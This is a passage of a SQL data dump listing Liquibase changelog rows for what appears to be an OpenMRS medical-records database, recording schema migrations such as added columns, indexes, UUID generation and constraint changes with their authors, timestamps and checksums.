07:11:47',10295,'MARK_RAN','3:2db32da70ac1e319909d692110b8654b','Add Column','add retire_reason column to relationship_type table',NULL,'2.0.5'),('200910271049-1','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:44',10264,'EXECUTED','3:2e54d97b9f1b9f35b77cee691c23b7a9','Update Data (x5)','Setting core field types to have standard UUIDs',NULL,'2.0.5'),('200910271049-10','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:44',10273,'EXECUTED','3:827070940f217296c11ce332dc8858ff','Update Data (x4)','Setting core roles to have standard UUIDs',NULL,'2.0.5'),('200910271049-2','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:44',10265,'EXECUTED','3:3132d4cbfaab0c0b612c3fe1c55bd0f1','Update Data (x7)','Setting core person attribute types to have standard UUIDs',NULL,'2.0.5'),('200910271049-3','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:44',10266,'EXECUTED','3:f4d1a9004f91b6885a86419bc02f9d0b','Update Data (x4)','Setting core encounter types to have standard UUIDs',NULL,'2.0.5'),('200910271049-4','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:44',10267,'EXECUTED','3:0d4f7503bf8f00cb73338bb34305333a','Update Data (x12)','Setting core concept datatypes to have standard UUIDs',NULL,'2.0.5'),('200910271049-5','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:44',10268,'EXECUTED','3:98d8ac75977e1b099a4e45d96c6b1d1a','Update Data (x4)','Setting core relationship types to have standard UUIDs',NULL,'2.0.5'),('200910271049-6','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:44',10269,'EXECUTED','3:19355a03794869edad3889ac0adbdedf','Update Data (x15)','Setting core concept classes to have standard UUIDs',NULL,'2.0.5'),('200910271049-7','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:44',10270,'EXECUTED','3:fe4c89654d02d74de6d8e4b265a33288','Update Data (x2)','Setting core patient identifier types to have standard UUIDs',NULL,'2.0.5'),('200910271049-8','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:44',10271,'EXECUTED','3:dc4462b5b4b13c2bc306506848127556','Update Data','Setting core location to have standard UUIDs',NULL,'2.0.5'),('200910271049-9','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:44',10272,'EXECUTED','3:de2a0ed2adafb53f025039e9e8c6719e','Update Data','Setting core hl7 source to have standard UUIDs',NULL,'2.0.5'),('200912031842','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:11:45',10277,'EXECUTED','3:b966745213bedaeeabab8a874084bb95','Drop Foreign Key Constraint, Add Foreign Key Constraint','Changing encounter.provider_id to reference person instead of users',NULL,'2.0.5'),('200912031846-1','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:11:45',10279,'MARK_RAN','3:23e728a7f214127cb91efd40ebbcc2d1','Add Column, Update Data','Adding person_id column to users table (if needed)',NULL,'2.0.5'),('200912031846-2','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:11:45',10280,'MARK_RAN','3:8d57907defa7e92e018038d57cfa78b4','Update Data, Add Not-Null Constraint','Populating users.person_id',NULL,'2.0.5'),('200912031846-3','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:11:46',10281,'EXECUTED','3:48a50742f2904682caa1bc469f5b87e3','Add Foreign Key Constraint, Set Column as Auto-Increment','Restoring foreign key constraint on users.person_id',NULL,'2.0.5'),('200912071501-1','arthurs','liquibase-update-to-latest.xml','2016-10-27 07:11:44',10274,'EXECUTED','3:d1158b8a42127d7b8a4d5ad64cc7c225','Update Data','Change name for patient.searchMaxResults global property to person.searchMaxResults',NULL,'2.0.5'),('200912091819','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:11:46',10282,'MARK_RAN','3:8c0b2b02a94b9c6c9529e1b29207464b','Add Column, Add Foreign Key Constraint','Adding retired metadata columns to users table',NULL,'2.0.5'),('200912091819-fix','sunbiz','liquibase-update-to-latest.xml','2016-10-27 07:11:46',10283,'EXECUTED','3:fd5fd1d2e6884662824bb78c8348fadf','Modify Column','(Fixed)users.retired to BOOLEAN',NULL,'2.0.5'),('200912091820','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:11:46',10284,'MARK_RAN','3:cba73499d1c4d09b0e4ae3b55ecc7d84','Update Data','Migrating voided metadata to retired metadata for users table',NULL,'2.0.5'),('200912091821','djazayeri','liquibase-update-to-latest.xml','2011-09-15 00:00:00',10012,'MARK_RAN','3:9b38d31ebfe427d1f8d6e8530687f29c',NULL,NULL,NULL,NULL),('200912140038','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:11:46',10285,'MARK_RAN','3:be3aaa8da16b8a8841509faaeff070b4','Add Column','Adding \"uuid\" column to users table',NULL,'2.0.5'),('200912140039','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:11:46',10286,'EXECUTED','3:5b2a81ac1efba5495962bfb86e51546d','Update Data','Generating UUIDs for all rows in users table via built in uuid function.',NULL,'2.0.5'),('200912140040','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:11:46',10287,'MARK_RAN','3:c422b96e5b88eeae4f343d4f988cc4b2','Custom Change','Adding UUIDs to users table via a java class. (This will take a long time on large databases)',NULL,'2.0.5'),('200912141000-drug-add-date-changed','dkayiwa','liquibase-update-to-latest.xml','2016-10-27 07:12:07',10479,'MARK_RAN','3:9c9a75e3a78104e72de078ac217b0972','Add Column','Add date_changed column to drug table',NULL,'2.0.5'),('200912141001-drug-add-changed-by','dkayiwa','liquibase-update-to-latest.xml','2016-10-27 07:12:07',10480,'MARK_RAN','3:196629c722f52df68b5040e5266ac20f','Add Column, Add Foreign Key Constraint','Add changed_by column to drug table',NULL,'2.0.5'),('200912141552','madanmohan','liquibase-update-to-latest.xml','2016-10-27 07:11:44',10275,'MARK_RAN','3:835b6b98a7a437d959255ac666c12759','Add Column, Add Foreign Key Constraint','Add changed_by column to encounter table',NULL,'2.0.5'),('200912141553','madanmohan','liquibase-update-to-latest.xml','2016-10-27 07:11:44',10276,'MARK_RAN','3:7f768aa879beac091501ac9bb47ece4d','Add Column','Add date_changed column to encounter table',NULL,'2.0.5'),('20091215-0208','sunbiz','liquibase-update-to-latest.xml','2016-10-27 07:11:47',10296,'EXECUTED','3:1c818a60d8ebc36f4b7911051c1f6764','Custom SQL','Prune concepts rows orphaned in concept_numeric tables',NULL,'2.0.5'),('20091215-0209','jmiranda','liquibase-update-to-latest.xml','2016-10-27 07:11:47',10297,'EXECUTED','3:adeadc55e4dd484b1d63cf123e299371','Custom SQL','Prune concepts rows orphaned in concept_complex tables',NULL,'2.0.5'),('20091215-0210','jmiranda','liquibase-update-to-latest.xml','2011-09-15 00:00:00',10011,'MARK_RAN','3:08e8550629e4d5938494500f61d10961',NULL,NULL,NULL,NULL),('200912151032','n.nehete','liquibase-update-to-latest.xml','2016-10-27 07:11:46',10289,'EXECUTED','3:d7d8fededde8a27384ca1eb3f87f7914','Add Not-Null Constraint','Encounter Type should not be null when saving an Encounter',NULL,'2.0.5'),('200912211118','nribeka','liquibase-update-to-latest.xml','2011-09-15 00:00:00',10010,'MARK_RAN','3:1f976b4eedf537d887451246d49db043',NULL,NULL,NULL,NULL),('201001072007','upul','liquibase-update-to-latest.xml','2016-10-27 07:11:46',10290,'MARK_RAN','3:d5d60060fae8e9c30843b16b23bed9db','Add Column','Add last execution time column to scheduler_task_config table',NULL,'2.0.5'),('20100111-0111-associating-daemon-user-with-person','dkayiwa','liquibase-update-to-latest.xml','2016-10-27 07:12:01',10462,'MARK_RAN','3:bebb5c508bb53e7d5be6fb3aa259bd2f','Custom SQL','Associating daemon user with a person',NULL,'2.0.5'),('20100128-1','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:11:42',10251,'MARK_RAN','3:eaa1b8e62aa32654480e7a476dc14a4a','Insert Row','Adding \'System Developer\' role again (see ticket #1499)',NULL,'2.0.5'),('20100128-2','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:11:42',10252,'MARK_RAN','3:3c486c2ea731dfad7905518cac8d6e70','Update Data','Switching users back from \'Administrator\' to \'System Developer\' (see ticket #1499)',NULL,'2.0.5'),('20100128-3','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:11:42',10253,'MARK_RAN','3:9acf8cae5d210f88006191e79b76532c','Delete Data','Deleting \'Administrator\' role (see ticket #1499)',NULL,'2.0.5'),('20100306-095513a','thilini.hg','liquibase-update-to-latest.xml','2016-10-27 07:11:47',10298,'MARK_RAN','3:b7a60c3c33a05a71dde5a26f35d85851','Drop Foreign Key Constraint','Dropping unused foreign key from notification alert table',NULL,'2.0.5'),('20100306-095513b','thilini.hg','liquibase-update-to-latest.xml','2016-10-27 07:11:48',10299,'MARK_RAN','3:8a6ebb6aefe04b470d5b3878485f9cc3','Drop Column','Dropping unused user_id column from notification alert table',NULL,'2.0.5'),('20100322-0908','syhaas','liquibase-update-to-latest.xml','2016-10-27 07:11:48',10300,'MARK_RAN','3:94a8aae1d463754d7125cd546b4c590c','Add Column, Update Data','Adding sort_weight column to concept_answers table and initially sets the sort_weight to the concept_answer_id',NULL,'2.0.5'),('20100323-192043','ricardosbarbosa','liquibase-update-to-latest.xml','2016-10-27 07:11:48',10317,'EXECUTED','3:c294c84ac7ff884d1e618f4eb74b0c52','Update Data, Delete Data (x2)','Removing the duplicate privilege \'Add Concept Proposal\' in favor of \'Add Concept Proposals\'',NULL,'2.0.5'),('20100330-190413','ricardosbarbosa','liquibase-update-to-latest.xml','2016-10-27 07:11:48',10318,'EXECUTED','3:d706294defdfb73af9b44db7d37069d0','Update Data, Delete Data (x2)','Removing the duplicate privilege \'Edit Concept Proposal\' in favor of \'Edit Concept Proposals\'',NULL,'2.0.5'),('20100412-2217','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:48',10301,'MARK_RAN','3:0c3a3ea15adefa620ab62145f412d0b6','Add Column','Adding \"uuid\" column to notification_alert_recipient table',NULL,'2.0.5'),('20100412-2218','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:48',10302,'EXECUTED','3:6fae383b5548c214d2ad2c76346e32e3','Update Data','Generating UUIDs for all rows in notification_alert_recipient table via built in uuid function.',NULL,'2.0.5'),('20100412-2219','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:48',10303,'MARK_RAN','3:1401fe5f2d0c6bc23afa70b162e15346','Custom Change','Adding UUIDs to notification_alert_recipient table via a java class (if needed).',NULL,'2.0.5'),('20100412-2220','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:48',10304,'EXECUTED','3:bf4474dd5700b570e158ddc8250c470b','Add Not-Null Constraint','Now that UUID generation is done, set the notification_alert_recipient.uuid column to not \"NOT NULL\"',NULL,'2.0.5'),('20100413-1509','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:11:48',10305,'MARK_RAN','3:7a3ee61077e4dee1ceb4fe127afc835f','Rename Column','Change location_tag.tag to location_tag.name',NULL,'2.0.5'),('20100415-forgotten-from-before','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:11:46',10288,'EXECUTED','3:d17699fbec80bd035ecb348ae5382754','Add Not-Null Constraint','Adding not null constraint to users.uuid',NULL,'2.0.5'),('20100419-1209','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:53',10385,'MARK_RAN','3:f87b773f9a8e05892fdbe8740042abb5','Create Table, Add Foreign Key Constraint (x7), Create Index','Create the visit table and add the foreign key for visit_type',NULL,'2.0.5'),('20100419-1209-fix','sunbiz','liquibase-update-to-latest.xml','2016-10-27 07:11:53',10386,'EXECUTED','3:cb5970216f918522df3a059e29506c27','Modify Column','(Fixed)Changed visit.voided to BOOLEAN',NULL,'2.0.5'),('20100423-1402','slorenz','liquibase-update-to-latest.xml','2016-10-27 07:11:48',10307,'MARK_RAN','3:3534020f1c68f70b0e9851d47a4874d6','Create Index','Add an index to the encounter.encounter_datetime column to speed up statistical\n analysis.',NULL,'2.0.5'),('20100423-1406','slorenz','liquibase-update-to-latest.xml','2016-10-27 07:11:48',10308,'MARK_RAN','3:f058162398862f0bdebc12d7eb54551b','Create Index','Add an index to the obs.obs_datetime column to speed up statistical analysis.',NULL,'2.0.5'),('20100426-1111-add-not-null-personid-contraint','dkayiwa','liquibase-update-to-latest.xml','2016-10-27 07:12:01',10463,'EXECUTED','3:a0b90b98be85aabbdebd957744ab805a','Add Not-Null Constraint','Add the not null person id contraint',NULL,'2.0.5'),('20100426-1111-remove-not-null-personid-contraint','dkayiwa','liquibase-update-to-latest.xml','2016-10-27 07:11:48',10309,'EXECUTED','3:5bc2abe108ab2765e36294ff465c63a0','Drop Not-Null Constraint','Drop the not null person id contraint',NULL,'2.0.5'),('20100426-1947','syhaas','liquibase-update-to-latest.xml','2016-10-27 07:11:48',10310,'MARK_RAN','3:09adbdc9cb72dee82e67080b01d6578e','Insert Row','Adding daemon user to users table',NULL,'2.0.5'),('20100512-1400','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:11:48',10312,'MARK_RAN','3:0fbfb53e2e194543d7b3eaa59834e1e6','Insert Row','Create core order_type for drug orders',NULL,'2.0.5'),('20100513-1947','syhaas','liquibase-update-to-latest.xml','2016-10-27 07:11:48',10311,'EXECUTED','3:068c2bd55d9c731941fe9ef66f0011fb','Delete Data (x2)','Removing scheduler.username and scheduler.password global properties',NULL,'2.0.5'),('20100517-1545','wyclif and djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:11:48',10313,'EXECUTED','3:39a68e6b1954a0954d0f8d0c660a7aff','Custom Change','Switch boolean concepts/observations to be stored as coded',NULL,'2.0.5'),('20100525-818-1','syhaas','liquibase-update-to-latest.xml','2016-10-27 07:11:48',10319,'MARK_RAN','3:ed9dcb5bd0d7312db3123825f9bb4347','Create Table, Add Foreign Key Constraint (x2)','Create active list type table.',NULL,'2.0.5'),('20100525-818-1-fix','sunbiz','liquibase-update-to-latest.xml','2016-10-27 07:11:48',10320,'EXECUTED','3:4a648a54797fef2222764a7ee0b5e05a','Modify Column','(Fixed)Change active_list_type.retired to BOOLEAN',NULL,'2.0.5'),('20100525-818-2','syhaas','liquibase-update-to-latest.xml','2016-10-27 07:11:48',10321,'MARK_RAN','3:bc5a86f0245f6f822a0d343b2fcf8dc6','Create Table, Add Foreign Key Constraint (x7)','Create active list table',NULL,'2.0.5'),('20100525-818-2-fix','sunbiz','liquibase-update-to-latest.xml','2016-10-27 07:11:48',10322,'EXECUTED','3:0a2879b368319f6d1e16d0d4417f4492','Modify Column','(Fixed)Change active_list_type.retired to BOOLEAN',NULL,'2.0.5'),('20100525-818-3','syhaas','liquibase-update-to-latest.xml','2016-10-27 07:11:48',10323,'MARK_RAN','3:d382e7b9e23cdcc33ccde2d3f0473c41','Create Table, Add Foreign Key Constraint','Create allergen table',NULL,'2.0.5'),('20100525-818-4','syhaas','liquibase-update-to-latest.xml','2016-10-27 07:11:49',10324,'MARK_RAN','3:1d6f1abd297c8da5a49d4885d0d34dfb','Create Table','Create problem table',NULL,'2.0.5'),('20100525-818-5','syhaas','liquibase-update-to-latest.xml','2016-10-27 07:11:49',10325,'MARK_RAN','3:2ac51b2e8813d61428367bad9fadaa33','Insert Row (x2)','Inserting default active list types',NULL,'2.0.5'),('20100526-1025','Harsha.cse','liquibase-update-to-latest.xml','2016-10-27 07:11:48',10314,'EXECUTED','3:66ec6553564d30fd63df7c2de41c674f','Drop Not-Null Constraint (x2)','Drop Not-Null constraint from location column in Encounter and Obs table',NULL,'2.0.5'),('20100603-1625-1-person_address','sapna','liquibase-update-to-latest.xml','2016-10-27 07:11:52',10366,'MARK_RAN','3:6048aa2c393c1349de55a5003199fb81','Add Column','Adding \"date_changed\" column to person_address table',NULL,'2.0.5'),('20100603-1625-2-person_address','sapna','liquibase-update-to-latest.xml','2016-10-27 07:11:52',10367,'MARK_RAN','3:5194e3b45b70b003e33d7ab0495f3015','Add Column, Add Foreign Key Constraint','Adding \"changed_by\" column to person_address table',NULL,'2.0.5'),('20100604-0933a','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:48',10315,'EXECUTED','3:9b51b236846a8940de581e199cd76cb2','Add Default Value','Changing the default value to 2 for \'message_state\' column in \'hl7_in_archive\' table',NULL,'2.0.5'),('20100604-0933b','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:48',10316,'EXECUTED','3:67fc4c12418b500aaf3723e8845429e3','Update Data','Converting 0 and 1 to 2 for \'message_state\' column in \'hl7_in_archive\' table',NULL,'2.0.5'),('20100607-1550a','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:49',10326,'MARK_RAN','3:bfb6250277efd8c81326fe8c3dbdfe35','Add Column','Adding \'concept_name_type\' column to concept_name table',NULL,'2.0.5'),('20100607-1550b','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:49',10327,'MARK_RAN','3:3d43124d8265fbf05f1ef4839f14bece','Add Column','Adding \'locale_preferred\' column to concept_name table',NULL,'2.0.5'),('20100607-1550b-fix','sunbiz','liquibase-update-to-latest.xml','2016-10-27 07:11:49',10328,'EXECUTED','3:d0dc8dfe3ac629aecee81ccc11dec9c2','Modify Column','(Fixed)Change concept_name.locale_preferred to BOOLEAN',NULL,'2.0.5'),('20100607-1550c','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:49',10329,'EXECUTED','3:b6573617d37609ae7195fd7a495e2776','Drop Foreign Key Constraint','Dropping foreign key constraint on concept_name_tag_map.concept_name_tag_id',NULL,'2.0.5'),('20100607-1550d','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:49',10330,'EXECUTED','3:f30fd17874ac8294389ee2a44ca7d6ab','Update Data, Delete Data (x2)','Setting the concept name type for short names',NULL,'2.0.5'),('20100607-1550f','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:49',10331,'EXECUTED','3:74026cd4543ebbf561999a81c276224d','Update Data, Delete Data (x2)','Converting concept names with \'preferred\' and \'preferred_XX\' concept name tags to preferred names',NULL,'2.0.5'),('20100607-1550g','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:49',10334,'EXECUTED','3:c3c0a17e0a21d36f38bb2af8f0939da7','Delete Data (x2)','Deleting \'default\' and \'synonym\' concept name tags',NULL,'2.0.5'),('20100607-1550h','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:49',10335,'EXECUTED','3:be7b967ed0e7006373bb616b63726144','Custom Change','Validating and attempting to fix invalid concepts and ConceptNames',NULL,'2.0.5'),('20100607-1550i','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:50',10336,'EXECUTED','3:b6260c13bf055f7917c155596502a24b','Add Foreign Key Constraint','Restoring foreign key constraint on concept_name_tag_map.concept_name_tag_id',NULL,'2.0.5'),('20100621-1443','jkeiper','liquibase-update-to-latest.xml','2016-10-27 07:11:50',10337,'EXECUTED','3:16b4bc3512029cf8d3b3c6bee86ed712','Modify Column','Modify the error_details column of hl7_in_error to hold\n stacktraces',NULL,'2.0.5'),('201008021047','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:50',10338,'MARK_RAN','3:8612ede2553aab53950fa43d2f8def32','Create Index','Add an index to the person_name.family_name2 to speed up patient and person searches',NULL,'2.0.5'),('201008201345','mseaton','liquibase-update-to-latest.xml','2016-10-27 07:11:50',10339,'EXECUTED','3:5fbbb6215e66847c86483ee7177c3682','Custom Change','Validates Program Workflow States for possible configuration problems and reports warnings',NULL,'2.0.5'),('201008242121','misha680','liquibase-update-to-latest.xml','2016-10-27 07:11:50',10340,'EXECUTED','3:2319aed08c4f6dcd43d4ace5cdf94650','Modify Column','Make person_name.person_id not NULLable',NULL,'2.0.5'),('20100924-1110','mseaton','liquibase-update-to-latest.xml','2016-10-27 07:11:50',10341,'MARK_RAN','3:05ea5f3b806ba47f4a749d3a348c59f7','Add Column, Add Foreign Key Constraint','Add location_id column to patient_program table',NULL,'2.0.5'),('201009281047','misha680','liquibase-update-to-latest.xml','2016-10-27 07:11:50',10342,'MARK_RAN','3:02b5b9a183729968cd4189798ca034bd','Drop Column','Remove the now unused default_charge column',NULL,'2.0.5'),('201010051745','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:50',10343,'EXECUTED','3:04ba6f526a71fc0a2b016fd77eaf9ff5','Update Data','Setting the global property \'patient.identifierRegex\' to an empty string',NULL,'2.0.5'),('201010051746','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:50',10344,'EXECUTED','3:cb12dfc563d82529de170ffedf948f90','Update Data','Setting the global property \'patient.identifierSuffix\' to an empty string',NULL,'2.0.5'),('201010151054','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:50',10345,'MARK_RAN','3:26c8ae0c53225f82d4c2a85c09ad9785','Create Index','Adding index to form.published column',NULL,'2.0.5'),('201010151055','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:50',10346,'MARK_RAN','3:1efabdfd082ff2b0a34f570831f74ce5','Create Index','Adding index to form.retired column',NULL,'2.0.5'),('201010151056','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:51',10347,'MARK_RAN','3:00273104184bb4d2bb7155befc77efc3','Create Index','Adding multi column index on form.published and form.retired columns',NULL,'2.0.5'),('201010261143','crecabarren','liquibase-update-to-latest.xml','2016-10-27 07:11:51',10348,'MARK_RAN','3:c02de7e2726893f80ecd1f3ae778cba5','Rename Column','Rename neighborhood_cell column to address3 and increase the size to 255 characters',NULL,'2.0.5'),('201010261145','crecabarren','liquibase-update-to-latest.xml','2016-10-27 07:11:51',10349,'MARK_RAN','3:2d053c2e9b604403df8a408a6bb4f3f8','Rename Column','Rename township_division column to address4 and increase the size to 255 characters',NULL,'2.0.5'),('201010261147','crecabarren','liquibase-update-to-latest.xml','2016-10-27 07:11:51',10350,'MARK_RAN','3:592eee2241fdb1039ba08be07b54a422','Rename Column','Rename subregion column to address5 and increase the size to 255 characters',NULL,'2.0.5'),('201010261149','crecabarren','liquibase-update-to-latest.xml','2016-10-27 07:11:51',10351,'MARK_RAN','3:059e5bf4092d930304f9f0fc305939d9','Rename Column','Rename region column to address6 and increase the size to 255 characters',NULL,'2.0.5'),('201010261151','crecabarren','liquibase-update-to-latest.xml','2016-10-27 07:11:51',10352,'MARK_RAN','3:8756b20f505f8981a43ece7233ce3e2f','Rename Column','Rename neighborhood_cell column to address3 and increase the size to 255 characters',NULL,'2.0.5'),('201010261153','crecabarren','liquibase-update-to-latest.xml','2016-10-27 07:11:51',10353,'MARK_RAN','3:9805b9a214fca5a3509a82864274678e','Rename Column','Rename township_division column to address4 and increase the size to 255 characters',NULL,'2.0.5'),('201010261156','crecabarren','liquibase-update-to-latest.xml','2016-10-27 07:11:51',10354,'MARK_RAN','3:894f4e47fbdc74be94e6ebc9d6fce91e','Rename Column','Rename subregion column to address5 and increase the size to 255 characters',NULL,'2.0.5'),('201010261159','crecabarren','liquibase-update-to-latest.xml','2016-10-27 07:11:51',10355,'MARK_RAN','3:b1827790c63813e6a73d83e2b2d36504','Rename Column','Rename region column to address6 and increase the size to 255 characters',NULL,'2.0.5'),('20101029-1016','gobi/prasann','liquibase-update-to-latest.xml','2016-10-27 07:11:52',10368,'MARK_RAN','3:714ad65f5d84bdcd4d944a4d5583e4d3','Create Table, Add Unique Constraint','Create table to store concept stop words to avoid in search key indexing',NULL,'2.0.5'),('20101029-1026','gobi/prasann','liquibase-update-to-latest.xml','2016-10-27 07:11:52',10369,'MARK_RAN','3:83534d43a9a9cc1ea3a80f1d5f5570af','Insert Row (x10)','Inserting the initial concept stop words',NULL,'2.0.5'),('201011011600','jkeiper','liquibase-update-to-latest.xml','2016-10-27 07:11:51',10357,'MARK_RAN','3:29b35d66dc4168e03e1844296e309327','Create Index','Adding index to message_state column in HL7 archive table',NULL,'2.0.5'),('201011011605','jkeiper','liquibase-update-to-latest.xml','2016-10-27 07:11:51',10358,'EXECUTED','3:c604bc0967765f50145f76e80a4bbc99','Custom Change','Moving \"deleted\" HL7s from HL7 archive table to queue table',NULL,'2.0.5'),('201011051300','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:52',10365,'MARK_RAN','3:fea4ad8ce44911eeaab8ac8c1cc9122d','Create Index','Adding index on notification_alert.date_to_expire column',NULL,'2.0.5'),('201012081716','nribeka','liquibase-update-to-latest.xml','2016-10-27 07:11:52',10363,'MARK_RAN','3:4a97a93f2632fc0c3b088b24535ee481','Delete Data','Removing concept that are concept derived and the datatype',NULL,'2.0.5'),('201012081717','nribeka','liquibase-update-to-latest.xml','2016-10-27 07:11:52',10364,'MARK_RAN','3:ad3d0a18bda7e4869d264c70b8cd8d1d','Drop Table','Removing concept derived tables',NULL,'2.0.5'),('20101209-10000-encounter-add-visit-id-column','dkayiwa','liquibase-update-to-latest.xml','2016-10-27 07:11:53',10387,'MARK_RAN','3:7045a94731ef25e04724c77fc97494b4','Add Column, Add Foreign Key Constraint','Adding visit_id column to encounter table',NULL,'2.0.5'),('20101209-1353','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:08',10491,'MARK_RAN','3:9d30d1435a6c10a4b135609dc8e925ca','Add Not-Null Constraint','Adding not-null constraint to orders.as_needed',NULL,'2.0.5'),('20101209-1721','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:51',10359,'MARK_RAN','3:351460e0f822555b77acff1a89bec267','Add Column','Add \'weight\' column to concept_word table',NULL,'2.0.5'),('20101209-1722','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:51',10360,'MARK_RAN','3:d63107017bdcef0e28d7ad5e4df21ae5','Create Index','Adding index to concept_word.weight column',NULL,'2.0.5'),('20101209-1723','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:51',10361,'MARK_RAN','3:25d45d7d5bbff4b24bcc8ff8d34d70d2','Insert Row','Insert a row into the schedule_task_config table for the ConceptIndexUpdateTask',NULL,'2.0.5'),('20101209-1731','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:52',10362,'MARK_RAN','3:6de3e859f77856fe939d3ae6a73b4752','Update Data','Setting the value of \'start_on_startup\' to trigger off conceptIndexUpdateTask on startup',NULL,'2.0.5'),('201012092009','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:11:51',10356,'EXECUTED','3:15a029c4ffe65710a56d402e608d319a','Modify Column (x10)','Increasing length of address fields in person_address and location to 255',NULL,'2.0.5'),('2011-07-12-1947-add-outcomesConcept-to-program','grwarren','liquibase-update-to-latest.xml','2016-10-27 07:11:54',10398,'MARK_RAN','3:ea2bb0a2ddeade662f956ef113d020ab','Add Column, Add Foreign Key Constraint','Adding the outcomesConcept property to Program',NULL,'2.0.5'),('2011-07-12-2005-add-outcome-to-patientprogram','grwarren','liquibase-update-to-latest.xml','2016-10-27 07:11:54',10399,'MARK_RAN','3:57baf47f9b09b3df649742d69be32015','Add Column, Add Foreign Key Constraint','Adding the outcome property to PatientProgram',NULL,'2.0.5'),('201101121434','gbalaji,gobi','liquibase-update-to-latest.xml','2016-10-27 07:11:52',10378,'MARK_RAN','3:96320c51e6e296e9dc65866a61268e45','Drop Column','Dropping unused date_started column from obs table',NULL,'2.0.5'),('201101221453','suho','liquibase-update-to-latest.xml','2016-10-27 07:11:52',10377,'EXECUTED','3:4088d4906026cc1430fa98e04d294b13','Modify Column','Increasing the serialized_data column of serialized_object to hold mediumtext',NULL,'2.0.5'),('20110124-1030','surangak','liquibase-update-to-latest.xml','2016-10-27 07:11:52',10380,'MARK_RAN','3:e17eee5b8c4bb236a0ea6e6ade5abed7','Add Foreign Key Constraint','Adding correct foreign key for concept_answer.answer_drug',NULL,'2.0.5'),('20110125-1435','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:52',10371,'MARK_RAN','3:dadd9da1dad5f2863f8f6bb24b29d598','Add Column','Adding \'start_date\' column to person_address table',NULL,'2.0.5'),('20110125-1436','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:11:52',10372,'MARK_RAN','3:68cec89409d2419fe9439f4753a23036','Add Column','Adding \'end_date\' column to person_address table',NULL,'2.0.5'),('201101271456-add-enddate-to-relationship','misha680','liquibase-update-to-latest.xml','2016-10-27 07:11:53',10389,'MARK_RAN','3:b593b864d4a870e3b7ba6b61fda57c8d','Add Column','Adding the end_date column to relationship.',NULL,'2.0.5'),('201101271456-add-startdate-to-relationship','misha680','liquibase-update-to-latest.xml','2016-10-27 07:11:53',10388,'MARK_RAN','3:82020a9f33747f58274196619439781e','Add Column','Adding the start_date column to relationship.',NULL,'2.0.5'),('20110201-1625-1','arahulkmit','liquibase-update-to-latest.xml','2016-10-27 07:11:52',10373,'MARK_RAN','3:4f1b23efba67de1917e312942fe7e744','Add Column','Adding \"date_changed\" column to patient_identifier table',NULL,'2.0.5'),('20110201-1625-2','arahulkmit','liquibase-update-to-latest.xml','2016-10-27 07:11:52',10374,'MARK_RAN','3:01467a1db56ef3db87dc537d40ab22eb','Add Column, Add Foreign Key Constraint','Adding \"changed_by\" column to patient_identifier table',NULL,'2.0.5'),('20110201-1626-1','arahulkmit','liquibase-update-to-latest.xml','2016-10-27 07:11:52',10375,'MARK_RAN','3:63397ce933d1c78309648425fba66a17','Add Column','Adding \"date_changed\" column to relationship table',NULL,'2.0.5'),('20110201-1626-2','arahulkmit','liquibase-update-to-latest.xml','2016-10-27 07:11:52',10376,'MARK_RAN','3:21dae026e42d05b2ebc8fe51408c147f','Add Column, Add Foreign Key Constraint','Adding \"changed_by\" column to relationship table',NULL,'2.0.5'),('201102081800','gbalaji,gobi','liquibase-update-to-latest.xml','2016-10-27 07:11:52',10379,'MARK_RAN','3:779ca58f39b4e3a14a313f8fc416c242','Drop Column','Dropping unused date_stopped column from obs 